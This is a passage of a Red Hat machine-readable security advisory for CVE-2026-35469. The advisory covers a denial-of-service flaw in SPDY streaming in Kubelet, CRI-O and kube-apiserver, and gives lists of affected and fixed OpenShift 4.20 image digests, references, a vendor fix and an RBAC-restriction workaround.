"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2457729"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the SPDY streaming code used by Kubelet, CRI-O, and kube-apiserver. An attacker with specific cluster roles, such as those allowing access to pod port forwarding, execution, or attachment, or node proxying, could exploit this vulnerability. This could lead to a Denial of Service (DoS) by causing the affected components to become unresponsive.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "Kubelet: CRI-O: kube-apiserver: Kubelet, CRI-O, kube-apiserver: Denial of Service via SPDY streaming code",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial of service flaw affecting OpenShift Container Platform. An attacker with specific elevated cluster roles, such as those permitting pod port forwarding, execution, attachment, or node proxying, could exploit a vulnerability in the SPDY streaming code of Kubelet, CRI-O, and kube-apiserver, leading to unresponsiveness of these critical components.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-35469"
},
{
"category": "external",
"summary": "RHBZ#2457729",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2457729"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-35469",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35469"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-35469",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35469"
}
],
"release_date": "2026-04-13T23:59:59+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"category": "workaround",
"details": "To mitigate this issue, review and restrict the assignment of Kubernetes cluster roles `pods/portforward (create)`, `pods/exec (create)`, `pods/attach (create)`, and `nodes/proxy (get/create)` to untrusted users or service accounts. Ensure that only authorized and necessary entities possess these permissions. Modifying RBAC policies can impact the functionality of applications and services that rely on these permissions; careful testing is recommended.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
